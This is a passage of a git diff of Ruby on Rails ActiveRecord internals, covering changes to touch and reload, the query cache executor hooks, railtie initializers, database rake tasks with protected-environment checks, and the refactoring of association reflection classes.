its non-bang version in the sense that it passes through the attribute setter. # Saving is not subjected to validation checks. Returns +true+ if the # record could be saved. def toggle!(attribute) @@ -380,9 +394,9 @@ module ActiveRecord # # => #<Account id: 1, email: 'account@example.com'> # # Attributes are reloaded from the database, and caches busted, in - # particular the associations cache. + # particular the associations cache and the QueryCache. # - # If the record no longer exists in the database <tt>ActiveRecord::RecordNotFound</tt> + # If the record no longer exists in the database ActiveRecord::RecordNotFound # is raised. Otherwise, in addition to the in-place modification the method # returns +self+ for convenience. # @@ -416,6 +430,8 @@ module ActiveRecord # end # def reload(options = nil) + self.class.connection.clear_query_cache + fresh_object = if options && options[:lock] self.class.unscoped { self.class.lock(options[:lock]).find(id) } @@ -428,7 +444,7 @@ module ActiveRecord self end - # Saves the record with the updated_at/on attributes set to the current time + # Saves the record with the updated_at/on attributes set to the current time # or the time specified. # Please note that no validation is performed and only the +after_touch+, # +after_commit+ and +after_rollback+ callbacks are executed. @@ -442,8 +458,8 @@ module ActiveRecord # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on # product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes # - # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on - # associated object. + # If used along with {belongs_to}[rdoc-ref:Associations::ClassMethods#belongs_to] + # then +touch+ will invoke +touch+ method on associated object. # # class Brake < ActiveRecord::Base # belongs_to :car, touch: true @@ -462,9 +478,10 @@ module ActiveRecord # ball = Ball.new # ball.touch(:updated_at) # => raises ActiveRecordError # - def touch(*names, time: current_time_from_proper_timezone) + def touch(*names, time: nil) raise ActiveRecordError, "cannot touch on a new record object" unless persisted? + time ||= current_time_from_proper_timezone attributes = timestamp_attributes_for_update_in_model attributes.concat(names) @@ -476,11 +493,23 @@ module ActiveRecord changes[column] = write_attribute(column, time) end - changes[self.class.locking_column] = increment_lock if locking_enabled? - clear_attribute_changes(changes.keys) primary_key = self.class.primary_key - self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1 + scope = self.class.unscoped.where(primary_key => _read_attribute(primary_key)) + + if locking_enabled? + locking_column = self.class.locking_column + scope = scope.where(locking_column => _read_attribute(locking_column)) + changes[locking_column] = increment_lock + end + + result = scope.update_all(changes) == 1 + + if !result && locking_enabled? + raise ActiveRecord::StaleObjectError.new(self, "touch") + end + + result else true end @@ -532,5 +561,16 @@ module ActiveRecord def verify_readonly_attribute(name) raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name) end + + def _raise_record_not_destroyed + @_association_destroy_exception ||= nil + raise @_association_destroy_exception || RecordNotDestroyed.new("Failed to destroy the record", self) + ensure + @_association_destroy_exception = nil + end + + def belongs_to_touch_method + :touch + end end end diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb index dcb2bd3d84..ca12a603da 100644 --- a/activerecord/lib/active_record/query_cache.rb +++ b/activerecord/lib/active_record/query_cache.rb @@ -23,34 +23,31 @@ module ActiveRecord end end - def initialize(app) - @app = app - end - - def call(env) + def self.run connection = ActiveRecord::Base.connection enabled = connection.query_cache_enabled connection_id = ActiveRecord::Base.connection_id connection.enable_query_cache! - response = @app.call(env) - response[2] = Rack::BodyProxy.new(response[2]) do - restore_query_cache_settings(connection_id, enabled) - end - - response - rescue Exception => e - restore_query_cache_settings(connection_id, enabled) - raise e + [enabled, connection_id] end - private + def self.complete(state) + enabled, connection_id = state - def restore_query_cache_settings(connection_id, enabled) ActiveRecord::Base.connection_id = connection_id ActiveRecord::Base.connection.clear_query_cache ActiveRecord::Base.connection.disable_query_cache! unless enabled end + def self.install_executor_hooks(executor = ActiveSupport::Executor) + executor.register_hook(self) + + executor.to_complete do + unless ActiveRecord::Base.connection.transaction_open? + ActiveRecord::Base.clear_active_connections! + end + end + end end end diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb index 4e597590e9..53ddd95bb0 100644 --- a/activerecord/lib/active_record/querying.rb +++ b/activerecord/lib/active_record/querying.rb @@ -1,13 +1,13 @@ module ActiveRecord module Querying - delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, to: :all - delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, to: :all + delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :none?, :one?, to: :all + delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, :third_to_last, :third_to_last!, :second_to_last, :second_to_last!, to: :all delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all delegate :find_by, :find_by!, to: :all delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all - delegate :find_each, :find_in_batches, to: :all - delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :or, + delegate :find_each, :find_in_batches, :in_batches, to: :all + delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :left_joins, :left_outer_joins, :or, :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly, :having, :create_with, :uniq, :distinct, :references, :none, :unscope, to: :all delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all @@ -35,8 +35,8 @@ module ActiveRecord # # Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date] # Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }] - def find_by_sql(sql, binds = []) - result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds) + def find_by_sql(sql, binds = [], preparable: nil) + result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds, preparable: preparable) column_types = result_set.column_types.dup columns_hash.each_key { |k| column_types.delete k } message_bus = ActiveSupport::Notifications.instrumenter diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb index f1bdbc845c..98ea425d16 100644 --- a/activerecord/lib/active_record/railtie.rb +++ b/activerecord/lib/active_record/railtie.rb @@ -16,12 +16,6 @@ module ActiveRecord config.app_generators.orm :active_record, :migration => true, :timestamps => true - config.app_middleware.insert_after "::ActionDispatch::Callbacks", - "ActiveRecord::QueryCache" - - config.app_middleware.insert_after "::ActionDispatch::Callbacks", - "ActiveRecord::ConnectionAdapters::ConnectionManagement" - config.action_dispatch.rescue_responses.merge!( 'ActiveRecord::RecordNotFound' => :not_found, 'ActiveRecord::StaleObjectError' => :conflict, @@ -40,7 +34,7 @@ module ActiveRecord task :load_config do ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration - if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH) + if defined?(ENGINE_ROOT) && engine = Rails::Engine.find(ENGINE_ROOT) if engine.paths['db/migrate'].existent ActiveRecord::Tasks::DatabaseTasks.migrations_paths += engine.paths['db/migrate'].to_a end @@ -57,8 +51,10 @@ module ActiveRecord console do |app| require "active_record/railties/console_sandbox" if app.sandbox? require "active_record/base" - console = ActiveSupport::Logger.new(STDERR) - Rails.logger.extend ActiveSupport::Logger.broadcast console + unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT) + console = ActiveSupport::Logger.new(STDERR) + Rails.logger.extend ActiveSupport::Logger.broadcast console + end end runner do @@ -78,8 +74,8 @@ module ActiveRecord initializer "active_record.migration_error" do if config.active_record.delete(:migration_error) == :page_load - config.app_middleware.insert_after "::ActionDispatch::Callbacks", - "ActiveRecord::Migration::CheckPending" + config.app_middleware.insert_after ::ActionDispatch::Callbacks, + ActiveRecord::Migration::CheckPending end end @@ -93,6 +89,7 @@ module ActiveRecord cache = Marshal.load File.binread filename if cache.version == ActiveRecord::Migrator.current_version self.connection.schema_cache = cache + self.connection_pool.schema_cache = cache.dup else warn "Ignoring db/schema_cache.dump because it has expired. The current schema version is #{ActiveRecord::Migrator.current_version}, but the one in the cache is #{cache.version}." end @@ -102,6 +99,14 @@ module ActiveRecord end end + initializer "active_record.warn_on_records_fetched_greater_than" do + if config.active_record.warn_on_records_fetched_greater_than + ActiveSupport.on_load(:active_record) do + require 'active_record/relation/record_fetch_warning' + end + end + end + initializer "active_record.set_configs" do |app| ActiveSupport.on_load(:active_record) do app.config.active_record.each do |k,v| @@ -112,7 +117,7 @@ module ActiveRecord # This sets the database configuration from Configuration#database_configuration # and then establishes the connection. - initializer "active_record.initialize_database" do |app| + initializer "active_record.initialize_database" do ActiveSupport.on_load(:active_record) do self.configurations = Rails.application.config.database_configuration @@ -125,8 +130,8 @@ Oops - You have a database configured, but it doesn't exist yet! Here's how to get started: 1. Configure your database in config/database.yml. - 2. Run `bin/rake db:create` to create the database. - 3. Run `bin/rake db:setup` to load your database schema. + 2. Run `bin/rails db:create` to create the database. + 3. Run `bin/rails db:setup` to load your database schema. end_warning raise end @@ -141,19 +146,23 @@ end_warning end end - initializer "active_record.set_reloader_hooks" do |app| - hook = app.config.reload_classes_only_on_change ? :to_prepare : :to_cleanup - + initializer "active_record.set_reloader_hooks" do ActiveSupport.on_load(:active_record) do - ActionDispatch::Reloader.send(hook) do + ActiveSupport::Reloader.before_class_unload do if ActiveRecord::Base.connected? - ActiveRecord::Base.clear_reloadable_connections! ActiveRecord::Base.clear_cache! + ActiveRecord::Base.clear_reloadable_connections! end end end end + initializer "active_record.set_executor_hooks" do + ActiveSupport.on_load(:active_record) do + ActiveRecord::QueryCache.install_executor_hooks + end + end + initializer "active_record.add_watchable_files" do |app| path = app.paths["db"].first config.watchable_files.concat ["#{path}/schema.rb", "#{path}/structure.sql"] diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb index af4840476c..8727e46cb3 100644 --- a/activerecord/lib/active_record/railties/controller_runtime.rb +++ b/activerecord/lib/active_record/railties/controller_runtime.rb @@ -19,7 +19,7 @@ module ActiveRecord end def cleanup_view_runtime - if ActiveRecord::Base.connected? + if logger.info? && ActiveRecord::Base.connected? db_rt_before_render = ActiveRecord::LogSubscriber.reset_runtime self.db_runtime = (db_runtime || 0) + db_rt_before_render runtime = super diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake index 2591e7492d..fc1b62ee96 100644 --- a/activerecord/lib/active_record/railties/databases.rake +++ b/activerecord/lib/active_record/railties/databases.rake @@ -1,6 +1,16 @@ require 'active_record' db_namespace = namespace :db do + desc "Set the environment value for the database" + task "environment:set" => [:environment, :load_config] do + ActiveRecord::InternalMetadata.create_table + ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment + end + + task :check_protected_environments => [:environment, :load_config] do + ActiveRecord::Tasks::DatabaseTasks.check_protected_environments! + end + task :load_config do ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {} ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths @@ -12,45 +22,52 @@ db_namespace = namespace :db do end end - desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.' + desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to creating the development and test databases.' task :create => [:load_config] do ActiveRecord::Tasks::DatabaseTasks.create_current end namespace :drop do - task :all => :load_config do + task :all => [:load_config, :check_protected_environments] do ActiveRecord::Tasks::DatabaseTasks.drop_all end end - desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.' - task :drop => [:load_config] do + desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to dropping the development and test databases.' + task :drop => [:load_config, :check_protected_environments] do + db_namespace["drop:_unsafe"].invoke + end + + task "drop:_unsafe" => [:load_config] do ActiveRecord::Tasks::DatabaseTasks.drop_current end namespace :purge do - task :all => :load_config do + task :all => [:load_config, :check_protected_environments] do ActiveRecord::Tasks::DatabaseTasks.purge_all end end - # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases." - task :purge => [:load_config] do + # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:purge:all to purge all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases." + task :purge => [:load_config, :check_protected_environments] do ActiveRecord::Tasks::DatabaseTasks.purge_current end desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)." task :migrate => [:environment, :load_config] do ActiveRecord::Tasks::DatabaseTasks.migrate - db_namespace['_dump'].invoke if ActiveRecord::Base.dump_schema_after_migration + db_namespace['_dump'].invoke end + # IMPORTANT: This task won't dump the schema if ActiveRecord::Base.dump_schema_after_migration is set to false task :_dump do - case ActiveRecord::Base.schema_format - when :ruby then db_namespace["schema:dump"].invoke - when :sql then db_namespace["structure:dump"].invoke - else - raise "unknown schema format #{ActiveRecord::Base.schema_format}" + if ActiveRecord::Base.dump_schema_after_migration + case ActiveRecord::Base.schema_format + when :ruby then db_namespace["schema:dump"].invoke + when :sql then db_namespace["structure:dump"].invoke + else + raise "unknown schema format #{ActiveRecord::Base.schema_format}" + end end # Allow this task to be called as many times as required. An example is the # migrate:redo task, which calls other two internally that depend on this one. @@ -76,7 +93,7 @@ db_namespace = namespace :db do task :up => [:environment, :load_config] do version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil raise 'VERSION is required' unless version - ActiveRecord::Migrator.run(:up, ActiveRecord::Migrator.migrations_paths, version) + ActiveRecord::Migrator.run(:up, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version) db_namespace['_dump'].invoke end @@ -84,7 +101,7 @@ db_namespace = namespace :db do task :down => [:environment, :load_config] do version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil raise 'VERSION is required - To go down one migration, run db:rollback' unless version - ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version) + ActiveRecord::Migrator.run(:down, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version) db_namespace['_dump'].invoke end @@ -96,13 +113,15 @@ db_namespace = namespace :db do db_list = ActiveRecord::SchemaMigration.normalized_versions file_list = - ActiveRecord::Migrator.migrations_paths.flat_map do |path| - # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern - Dir.foreach(path).grep(/^(\d{3,})_(.+)\.rb$/) do - version = ActiveRecord::SchemaMigration.normalize_migration_number($1) + ActiveRecord::Tasks::DatabaseTasks.migrations_paths.flat_map do |path| + Dir.foreach(path).map do |file| + next unless ActiveRecord::Migrator.match_to_migration_filename?(file) + + version, name, scope = ActiveRecord::Migrator.parse_migration_filename(file) + version = ActiveRecord::SchemaMigration.normalize_migration_number(version) status = db_list.delete(version) ? 'up' : 'down' - [status, version, $2.humanize] - end + [status, version, (name + scope).humanize] + end.compact end db_list.map! do |version| @@ -122,22 +141,19 @@ db_namespace = namespace :db do desc 'Rolls the schema back to the previous version (specify steps w/ STEP=n).' task :rollback => [:environment, :load_config] do step = ENV['STEP'] ? ENV['STEP'].to_i : 1 - ActiveRecord::Migrator.rollback(ActiveRecord::Migrator.migrations_paths, step) + ActiveRecord::Migrator.rollback(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step) db_namespace['_dump'].invoke end # desc 'Pushes the schema to the next version (specify steps w/ STEP=n).' task :forward => [:environment, :load_config] do step = ENV['STEP'] ? ENV['STEP'].to_i : 1 - ActiveRecord::Migrator.forward(ActiveRecord::Migrator.migrations_paths, step) + ActiveRecord::Migrator.forward(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step) db_namespace['_dump'].invoke end # desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.' - task :reset => [:environment, :load_config] do - db_namespace["drop"].invoke - db_namespace["setup"].invoke - end + task :reset => [ 'db:drop', 'db:setup' ] # desc "Retrieves the charset for the current environment's database" task :charset => [:environment, :load_config] do @@ -159,29 +175,29 @@ db_namespace = namespace :db do end # desc "Raises an error if there are pending migrations" - task :abort_if_pending_migrations => :environment do - pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Migrator.migrations_paths).pending_migrations + task :abort_if_pending_migrations => [:environment, :load_config] do + pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Tasks::DatabaseTasks.migrations_paths).pending_migrations if pending_migrations.any? puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}" pending_migrations.each do |pending_migration| puts ' %4d %s' % [pending_migration.version, pending_migration.name] end - abort %{Run `rake db:migrate` to update your database then try again.} + abort %{Run `rails db:migrate` to update your database then try again.} end end - desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the database first)' + desc 'Creates the database, loads the schema, and initializes with the seed data (use db:reset to also drop the database first)' task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed] - desc 'Load the seed data from db/seeds.rb' + desc 'Loads the seed data from db/seeds.rb' task :seed do db_namespace['abort_if_pending_migrations'].invoke ActiveRecord::Tasks::DatabaseTasks.load_seed end namespace :fixtures do - desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures." + desc "Loads fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures." task :load => [:environment, :load_config] do require 'active_record/fixtures' @@ -229,7 +245,7 @@ db_namespace = namespace :db do end namespace :schema do - desc 'Create a db/schema.rb file that is portable against any DB supported by AR' + desc 'Creates a db/schema.rb file that is portable against any DB supported by Active Record' task :dump => [:environment, :load_config] do require 'active_record/schema_dumper' filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb') @@ -239,8 +255,8 @@ db_namespace = namespace :db do db_namespace['schema:dump'].reenable end - desc 'Load a schema.rb file into the database' - task :load => [:load_config] do + desc 'Loads a schema.rb file into the database' + task :load => [:environment, :load_config, :check_protected_environments] do ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:ruby, ENV['SCHEMA']) end @@ -249,27 +265,27 @@ db_namespace = namespace :db do end namespace :cache do - desc 'Create a db/schema_cache.dump file.' + desc 'Creates a db/schema_cache.dump file.' task :dump => [:environment, :load_config] do con = ActiveRecord::Base.connection filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump") con.schema_cache.clear! - con.tables.each { |table| con.schema_cache.add(table) } + con.data_sources.each { |table| con.schema_cache.add(table) } open(filename, 'wb') { |f| f.write(Marshal.dump(con.schema_cache)) } end - desc 'Clear a db/schema_cache.dump file.' + desc 'Clears a db/schema_cache.dump file.' task :clear => [:environment, :load_config] do filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump") - FileUtils.rm(filename) if File.exist?(filename) + rm_f filename, verbose: false end end end namespace :structure do - desc 'Dump the database structure to db/structure.sql. Specify another file with SCHEMA=db/my_structure.sql' + desc 'Dumps the database structure to db/structure.sql. Specify another file with SCHEMA=db/my_structure.sql' task :dump => [:environment, :load_config] do filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql") current_config = ActiveRecord::Tasks::DatabaseTasks.current_config @@ -285,8 +301,8 @@ db_namespace = namespace :db do db_namespace['structure:dump'].reenable end - desc "Recreate the databases from the structure.sql file" - task :load => [:load_config] do + desc "Recreates the databases from the structure.sql file" + task :load => [:environment, :load_config, :check_protected_environments] do ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:sql, ENV['SCHEMA']) end @@ -349,11 +365,11 @@ db_namespace = namespace :db do task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure) # desc "Empty the test database" - task :purge => %w(environment load_config) do + task :purge => %w(environment load_config check_protected_environments) do ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test'] end - # desc 'Check for pending migrations and load the test schema' + # desc 'Load the test schema' task :prepare => %w(environment load_config) do unless ActiveRecord::Base.configurations.blank? db_namespace['test:load'].invoke @@ -384,7 +400,7 @@ namespace :railties do puts "Copied migration #{migration.basename} from #{name}" end - ActiveRecord::Migration.copy(ActiveRecord::Migrator.migrations_paths.first, railties, + ActiveRecord::Migration.copy(ActiveRecord::Tasks::DatabaseTasks.migrations_paths.first, railties, :on_skip => on_skip, :on_copy => on_copy) end end diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb index 4265afc0a5..bf398b0d40 100644 --- a/activerecord/lib/active_record/reflection.rb +++ b/activerecord/lib/active_record/reflection.rb @@ -7,8 +7,8 @@ module ActiveRecord extend ActiveSupport::Concern included do - class_attribute :_reflections - class_attribute :aggregate_reflections + class_attribute :_reflections, instance_writer: false + class_attribute :aggregate_reflections, instance_writer: false self._reflections = {} self.aggregate_reflections = {} end @@ -32,6 +32,7 @@ module ActiveRecord end def self.add_reflection(ar, name, reflection) + ar.clear_reflections_cache ar._reflections = ar._reflections.merge(name.to_s => reflection) end @@ -61,22 +62,27 @@ module ActiveRecord aggregate_reflections[aggregation.to_s] end - # Returns a Hash of name of the reflection as the key and a AssociationReflection as the value. + # Returns a Hash of name of the reflection as the key and an AssociationReflection as the value. # # Account.reflections # => {"balance" => AggregateReflection} # - # @api public def reflections - ref = {} - _reflections.each do |name, reflection| - parent_name, parent_reflection = reflection.parent_reflection - if parent_name - ref[parent_name] = parent_reflection - else - ref[name] = reflection + @__reflections ||= begin + ref = {} + + _reflections.each do |name, reflection| + parent_reflection = reflection.parent_reflection + + if parent_reflection + parent_name = parent_reflection.name + ref[parent_name.to_s] = parent_reflection + else + ref[name] = reflection + end end + + ref end - ref end # Returns an array of AssociationReflection objects for all the @@ -89,10 +95,10 @@ module ActiveRecord # Account.reflect_on_all_associations # returns an array of all associations # Account.reflect_on_all_associations(:has_many) # returns an array of all has_many associations # - # @api public def reflect_on_all_associations(macro = nil) association_reflections = reflections.values - macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections + association_reflections.select! { |reflection| reflection.macro == macro } if macro + association_reflections end # Returns the AssociationReflection object for the +association+ (use the symbol). @@ -100,27 +106,42 @@ module ActiveRecord # Account.reflect_on_association(:owner) # returns the owner AssociationReflection # Invoice.reflect_on_association(:line_items).macro # returns :has_many # - # @api public def reflect_on_association(association) reflections[association.to_s] end - # @api private def _reflect_on_association(association) #:nodoc: _reflections[association.to_s] end # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled. - # - # @api public def reflect_on_all_autosave_associations reflections.values.select { |reflection| reflection.options[:autosave] } end + + def clear_reflections_cache # :nodoc: + @__reflections = nil + end end - # Holds all the methods that are shared between MacroReflection, AssociationReflection - # and ThroughReflection + # Holds all the methods that are shared between MacroReflection and ThroughReflection. + # + # AbstractReflection + # MacroReflection + # AggregateReflection + # AssociationReflection + # HasManyReflection + # HasOneReflection + # BelongsToReflection + # HasAndBelongsToManyReflection + # ThroughReflection + # PolymorphicReflection + # RuntimeReflection class AbstractReflection # :nodoc: + def through_reflection? + false + end + def table_name klass.table_name end @@ -157,21 +178,79 @@ module ActiveRecord scope_chain.flatten end + def counter_cache_column + if belongs_to? + if options[:counter_cache] == true + "#{active_record.name.demodulize.underscore.pluralize}_count" + elsif options[:counter_cache] + options[:counter_cache].to_s + end + else + options[:counter_cache] ? options[:counter_cache].to_s : "#{name}_count" + end + end + + def inverse_of + return unless inverse_name + + @inverse_of ||= klass._reflect_on_association inverse_name + end + + def check_validity_of_inverse! + unless polymorphic? + if has_inverse? && inverse_of.nil? + raise InverseOfAssociationNotFoundError.new(self) + end + end + end + + # This shit is nasty. We need to avoid the following situation: + # + # * An associated record is deleted via record.destroy + # * Hence the callbacks run, and they find a belongs_to on the record with a + # :counter_cache options which points back at our owner. So they update the + # counter cache. + # * In which case, we must make sure to *not* update the counter cache, or else + # it will be decremented twice. + # + # Hence this method. + def inverse_which_updates_counter_cache + return @inverse_which_updates_counter_cache if defined?(@inverse_which_updates_counter_cache) + @inverse_which_updates_counter_cache = klass.reflect_on_all_associations(:belongs_to).find do |inverse| + inverse.counter_cache_column == counter_cache_column + end + end + alias inverse_updates_counter_cache? inverse_which_updates_counter_cache + + def inverse_updates_counter_in_memory? + inverse_of && inverse_which_updates_counter_cache == inverse_of + end + + # Returns whether a counter cache should be used for this association. + # + # The counter_cache option must be given on either the owner or inverse + # association, and the column must be present on the owner. + def has_cached_counter? + options[:counter_cache] || + inverse_which_updates_counter_cache && inverse_which_updates_counter_cache.options[:counter_cache] && + !!active_record.columns_hash[counter_cache_column] + end + + def counter_must_be_updated_by_has_many? + !inverse_updates_counter_in_memory? && has_cached_counter? + end + def alias_candidate(name) "#{plural_name}_#{name}" end + + def chain + collect_join_chain + end end # Base class for AggregateReflection and AssociationReflection. Objects of # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods. - # - # MacroReflection - # AggregateReflection - # AssociationReflection - # HasManyReflection - # HasOneReflection - # BelongsToReflection - # ThroughReflection class MacroReflection < AbstractReflection # Returns the name of the macro. # @@ -196,7 +275,7 @@ module ActiveRecord @scope = scope @options = options @active_record = active_record - @klass = options[:class] + @klass = options[:anonymous_class] @plural_name = active_record.pluralize_table_names ? name.to_s.pluralize : name.to_s end @@ -204,7 +283,7 @@ module ActiveRecord def autosave=(autosave) @automatic_inverse_of = false @options[:autosave] = autosave - _, parent_reflection = self.parent_reflection + parent_reflection = self.parent_reflection if parent_reflection parent_reflection.autosave = autosave end @@ -272,7 +351,7 @@ module ActiveRecord end attr_reader :type, :foreign_type - attr_accessor :parent_reflection # [:name, Reflection] + attr_accessor :parent_reflection # Reflection def initialize(name, scope, options, active_record) super @@ -303,7 +382,7 @@ module ActiveRecord end def foreign_key - @foreign_key ||= options[:foreign_key] || derive_foreign_key + @foreign_key ||= options[:foreign_key] || derive_foreign_key.freeze end def association_foreign_key @@ -319,26 +398,10 @@ module ActiveRecord @active_record_primary_key ||= options[:primary_key] || primary_key(active_record) end - def counter_cache_column - if options[:counter_cache] == true - "#{active_record.name.demodulize.underscore.pluralize}_count" - elsif options[:counter_cache] - options[:counter_cache].to_s - end - end - def check_validity! check_validity_of_inverse! end - def check_validity_of_inverse! - unless polymorphic? - if has_inverse? && inverse_of.nil? - raise InverseOfAssociationNotFoundError.new(self) - end - end - end - def check_preloadable! return unless scope @@ -366,7 +429,7 @@ module ActiveRecord # A chain of reflections from this one back to the owner. For more see the explanation in # ThroughReflection. - def chain + def collect_join_chain [self] end @@ -386,14 +449,12 @@ module ActiveRecord scope ? [[scope]] : [[]] end - def has_inverse? - inverse_name + def has_scope? + scope end - def inverse_of - return unless inverse_name - - @inverse_of ||= klass._reflect_on_association inverse_name + def has_inverse? + inverse_name end def polymorphic_inverse_of(associated_class) @@ -437,28 +498,7 @@ module ActiveRecord # Returns +true+ if +self+ is a +has_one+ reflection. def has_one?; false; end - def association_class - case macro - when :belongs_to - if polymorphic? - Associations::BelongsToPolymorphicAssociation - else - Associations::BelongsToAssociation - end - when :has_many - if options[:through] - Associations::HasManyThroughAssociation - else - Associations::HasManyAssociation - end - when :has_one - if options[:through] - Associations::HasOneThroughAssociation - else - Associations::HasOneAssociation - end - end - end + def association_class; raise NotImplementedError; end def polymorphic? options[:polymorphic] @@ -467,6 +507,18 @@ module ActiveRecord VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to] INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :polymorphic, :foreign_key] + def add_as_source(seed) + seed + end + + def add_as_polymorphic_through(reflection, seed) + seed + [PolymorphicReflection.new(self, reflection)] + end + + def add_as_through(seed) + seed + [self] + end + protected def actual_source_reflection # FIXME: this is a horrible name @@ -476,14 +528,7 @@ module ActiveRecord private def calculate_constructable(macro, options) - case macro - when :belongs_to - !polymorphic? - when :has_one - !options[:through] - else - true - end + true end # Attempts to find the inverse association name automatically. @@ -499,7 +544,7 @@ module ActiveRecord end end - # returns either nil or the inverse association name that it finds. + # returns either false or the inverse association name that it finds. def automatic_inverse_of if can_find_inverse_of_automatically?(self) inverse_name = ActiveSupport::Inflector.underscore(options[:as] || active_record.name.demodulize).to_sym @@ -576,34 +621,52 @@ module ActiveRecord end class HasManyReflection < AssociationReflection # :nodoc: - def initialize(name, scope, options, active_record) - super(name, scope, options, active_record) - end - def macro; :has_many; end def collection?; true; end - end - class HasOneReflection < AssociationReflection # :nodoc: - def initialize(name, scope, options, active_record) - super(name, scope, options, active_record) + def association_class + if options[:through] + Associations::HasManyThroughAssociation + else + Associations::HasManyAssociation + end end + end + class HasOneReflection < AssociationReflection # :nodoc: def macro; :has_one; end def has_one?; true; end - end - class BelongsToReflection < AssociationReflection # :nodoc: - def initialize(name, scope, options, active_record) - super(name, scope, options, active_record) + def association_class + if options[:through] + Associations::HasOneThroughAssociation + else + Associations::HasOneAssociation + end end + private + + def calculate_constructable(macro, options) + !options[:through] + end + end + + class BelongsToReflection < AssociationReflection # :nodoc: def macro; :belongs_to; end def belongs_to?; true; end + def association_class + if polymorphic? + Associations::BelongsToPolymorphicAssociation + else + Associations::BelongsToAssociation + end + end + def join_keys(association_klass) key = polymorphic? ? association_primary_key(association_klass) : association_primary_key JoinKeys.new(key, foreign_key) @@ -612,6 +675,12 @@ module 